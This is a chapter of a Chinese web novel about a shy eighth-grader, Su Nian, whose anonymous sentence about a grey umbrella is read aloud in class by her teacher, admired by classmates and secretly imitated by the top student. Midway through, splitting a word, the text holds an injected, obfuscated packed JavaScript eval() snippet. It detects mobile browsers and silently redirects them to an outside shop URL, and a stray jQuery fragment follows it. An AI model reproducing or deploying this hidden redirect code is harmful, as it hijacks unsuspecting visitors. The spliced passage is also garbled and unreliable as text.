文趣网 > 都市小说 > 她曾在我的十四岁停留 > 20. 匿名朗读
    周三,下午第一节课。

    初二(3)班。

    刚上完体育课,教室里混着汗味和粉笔灰。头顶的吊扇嘎吱作响。

    陈小满趴在课桌上,半边脸压着英语课本,嘴里嘟囔着困。前排几个男生拿着卷起的书本互相敲打,粉笔头在过道里飞。

    苏念坐在最后一排靠窗的位置。她手里捏着一小块发黑的橡皮,在桌面木纹上蹭,把橡皮屑搓成长条。

    语文课本翻开在第一页,里面夹着一张印有麦田的明信片。

    明信片是她用七块二毛钱,外加五块的午饭钱买来的。她打算今天找个没人的机会,把它夹进林知意的备课本。

    上课铃打响。

    走廊上的脚步声涌进教室,乱糟糟的。张逸飞从后门冲进来,带倒了一把椅子,惹得前排女生抱怨起来。

    林知意踩着铃声走上讲台。

    她今天穿着灰色针织衫,手里没拿教材,只拿着一本蓝色备课本。

    班长周雨晴喊了起立,全班站直,又齐刷刷坐下。

    “上周的分享课,大家表现得不错。”林知意把备课本放在讲台上,双手撑着桌沿,“但我发现,举手分享的总是前排几位同学。很多同学有想法,却一直坐在座位上,不愿意站起来。”

    教室里只剩下风扇转动的声音。

    “所以今天,我们换个规则。”林知意直起身,“这几天,我从大家交上来的随笔和课堂笔记里,挑了几段有意思的文字。我不说是谁写的,大家就听文字本身。”

    前排的李思思转过头,跟同桌交换了个眼神。

    周雨晴坐在第一排正中间,挺直了背。她没有转头,手里的红笔在草稿纸上画了个小圈。她对这种改变没意见,只要她的文字能被选中,谁念都一样。

    林知意翻开备课本,抽出一张折好的信纸。

    “第一段。”

    她低下头,声音平稳。

    “秋天的落叶是时间的信使。当金黄铺满街道,我们在冷风中迎来了收获的季节。每一次花开花落,都是大自然赋予我们的哲理。”

    辞藻堆砌,句式工整,挑不出毛病。

    前排几个女生点头。

    周雨晴手里的红笔停住,笔尖在草稿纸上留下一个红点。

    这段话是她前天交的随笔。这种句式她背过,每次考试作文只要套用,分数就不会低。

    “写得工整。”林知意把信纸放回备课本,“结构完整,适合用作考场作文的开头。”

    周雨晴呼出一口气,理了理校服的衣领。由老师当着全班的面念出来,比她自己站起来念要有分量。

    林知意又抽出一张边角不齐的作业纸。

    “第二段。”

    “昨天下午开运动会,李浩跑一千米,跑到第二圈鞋掉了。他光着一只脚跑完,最后拿了倒数第一。晚上他去食堂吃了三个肉包子,说要把掉的肉补回来。”

    教室里静了两秒,接着爆出一阵大笑。

    李浩坐在中间排,脸涨得通红,转头去瞪后排的张逸飞:“张逸飞你大爷的,你把这事写到随笔里去!”

    张逸飞趴在桌上笑得肩膀直抖,拍着桌子回嘴:“老子写的是事实,你没吃三个肉包子?你还喝了一瓶汽水!”

    班里笑声更大了。

    林知意也笑了,等大家笑声小下去,才开口:“流水账,但生动。文字不一定要华丽,把真事记下来,本身就有力量。”

    张逸飞坐直身子,揉了揉鼻子。他平时交作业都是乱写,这还是头一次被当众念出来没挨骂。

    苏念看着讲台。

    林知意翻到备课本的最后几页,那里夹着一张横格纸。

    苏念认得那张纸,是她上周日晚上撕下来,周一早上偷偷夹进备课本的《巷口》。

    林知意把纸拿出来,展开,铺平在讲台上。

    教室里的笑声还没平息,还有人在交头接耳。

    林知意没有马上开口。她站在那里等了几秒,直到教室里只剩下风扇的声音。

    “第三段。”林知意出声。

    苏念的手指在课桌底下收紧,指甲抠进了手心。

    “巷子口的伞是灰色的,下雨天才开花。”林知意念得不快,一字一顿。她没用朗诵的腔调,也没刻意加重音,就是照着纸上的字念出来。

    “撑伞的老人从来不吆喝,他只是站在那里,等雨大了,自然会有人走过去。”

    念完。

    林知意把横格纸重新折好,顺着折痕压平,放回备课本。

    教室里没有笑声,也没人接话。

    前两段听完,大家会点头,会笑。现在,空气停了几秒。

    后排的张逸飞停了转笔的动作,抬头看着黑板。

    前排的李思思小声跟同桌嘀咕:“这句好厉害。”

    陈小满转过头,在班里扫了一圈,压低声音问前面的同学:“谁写的啊?这么文艺。”

    周雨晴坐在第一排,背还挺着,但手里的红笔停住了。她转头看向身边的李思思,压低声音:“你写的?”

    李思思摇头:“我哪写得出这种句子。”

    周雨晴没再问。她转过身,目光从前排一路往后扫。

    能写出这种句子的人,平时成绩应该不差。语文课代表?还是二班转来的那个女生?

    周雨晴的视线扫过第二排、第三排,扫过那些爱看课外书的同学。

    最后,她的目光落到最后一排靠窗的位置。

    苏念低着头。

    周雨晴的目光在苏念身上停了不到半秒,直接移开。

    一个连黑板报边框都不会画,上课从不举手,数学连辅助线都找不到的人。不可能是她。周雨晴心里排除了这个选项。

    苏念坐在座位上,头埋得很低。

    她的视线落在桌面上那块缺角的橡皮上,挪不开了。

    耳朵发烫,那股热度从耳根蔓延到脖子,再爬上脸颊。

    她不敢抬头,怕被人看出脸上的不对劲。

    指甲抠在手心,留下几道月牙印。不疼。胸腔里有团热气在涨,顶着肋骨,让她呼吸都放轻了。

    她的字被念出来了。

    被所有人听到了。

    被前排的女生说“好厉害”。

    林知意没有念名字,遵守了匿名的规则。她念那段话的时候,语气平稳,没有嘲笑,没有轻视。

    苏念在心里把那句话重新过了一遍。

    她写的时候,只是坐在出租屋的窗前,看着楼下那个修鞋的老头。老头有一把旧灰伞,晴天收着,雨天才撑开。

    她把这件事写下来,只是因为想写。

    现在,这件事变成了全班听到的“好厉害”的句子。

    苏念松开手,手心里全是汗。她把手在校服裤子上蹭了两下。

    讲台上,林知意开始念第四段。

    苏念一个字都没听进去。

    她看着夹在语文书里的明信片。白纸衬着麦田,颜色很亮。

    她要把明信片送出去。今天放学前,放进那个备课本里。

    下课铃响。

    林知意拿起备课本,走出教室。

    教室里又吵闹起来。

    周雨晴站起来,拿着一个笔记本,走到第三排,问几个平时语文成绩好的学生:“刚才那段写伞的,是你们写的?”

    几个学生都摇头。

    周雨晴拿着笔记本回到座位,把本子拍在桌上,发出一声闷响。

    她不喜欢这种脱离掌控的感觉。班里有一个人在文字上超过了她,她却连对方是谁都查不出来。这比考了第二名还难受,因为她连竞争对手在哪都不知道。

    陈小满伸了个懒腰,用胳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849273|211777||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    膊肘撞了撞苏念。

    “苏念,你猜那段话是谁写的?”陈小满问。

    苏念把橡皮收进笔盒:“不知道。”

    “我猜是张逸飞抄的哪本小说里的。”陈小满撇嘴,“他平时就爱看那些乱七八糟的书。不过写得确实挺好。”

    苏念没接话。她把语文书合上,拉开书包拉链,把书放进去。

    拉链拉到一半,她停下来。

    明信片还在书里。

    下午还有两节课。她有时间。

    下午放学。

    学生们背着书包往外走,楼道里挤满了人。

    苏念走在最后。她今天值日,倒教室后面的垃圾桶。

    垃圾桶满了,里面塞着废纸团、零食包装袋和断了的粉笔。

    苏念拎起垃圾桶的塑料袋,打了个结,提着往楼下的垃圾站走。

    楼梯拐角处,有个大垃圾桶。苏念把手里的袋子扔进去。

    转身要走时,她看到垃圾桶边搭着一张揉皱的草稿纸。

    纸半展开着,上面有红笔写的字。

    苏念停下脚步。

    草稿纸上的字迹眼熟,是周雨晴的字。字写得用力,笔画划破了纸面。

    上面写着:

    “巷子口的伞是灰色的,下雨天才开花。”

    旁边还有几个被打叉的词:“屋檐下的水滴”、“路边的石块”,以及重新组合的句子。周雨晴在模仿这种句式。

    苏念站在垃圾桶旁。

    楼道里有男生追打跑过,带起一阵风,那张草稿纸在桶边晃了晃,差一点掉进桶底的污水里。

    苏念盯着那行字。

    有人抄下来了。

    是那个永远考第一、永远坐第一排、永远对她视而不见,甚至在黑板报分组时把她踢出去的周雨晴。

    苏念没有伸手去捡那张纸。她只是站在那里,看着纸上的折痕、叉掉的字、红笔的印子。

    她转身往楼上走,回到教室,拿上自己的书包。

    办公室在三楼。

    苏念走到办公室门口,门开着。里面只有数学老师刘国强在改卷子,林知意不在。

    林知意的办公桌在靠窗的位置。桌上放着蓝色备课本,旁边是一个喝了一半的保温杯。

    苏念站在走廊上,等了一分钟。

    刘国强拿起杯子,站起身去水房接水。办公室空了。

    苏念走进去。

    她快步走到林知意的桌前,翻开备课本的第一页。

    她从口袋里拿出那张印着麦田的明信片。

    明信片背面是空白的。

    她把明信片平放在备课本里,合上封面,转身走出办公室。

    下楼梯的时候,苏念的脚步比平时轻。

    走出教学楼,夕阳照在操场上,把红色跑道拉出一道长影。

    晚上。

    城中村出租屋。

    姜翠花在厨房炒菜,油烟机轰隆作响,伴着刺啦的炒菜声。

    “苏念!吃饭了!”姜翠花在外面喊。

    苏念坐在书桌前,小台灯亮着。

    “等一下。”苏念回了一句。

    她翻开日记本。圆珠笔在纸上写字,沙沙作响。

    她没有写周雨晴在草稿纸上打叉的词,也没有写陈小满的猜测。

    她只写了下午那节课。

    写了林知意念出那句话时的语速,写了教室里短暂的安静。

    写完最后一段,她停下笔,看着本子上的字。台灯的光打在纸面上,墨水还没干透,反着光。

    外面传来姜翠花把盘子往桌上一搁的声音。

    “快点出来!菜凉了!”姜翠花催促。

    苏念没有马上起身。

    她在日记本的最后一行,一笔一划地写下几个字。

    “原来被听见是这种感觉。”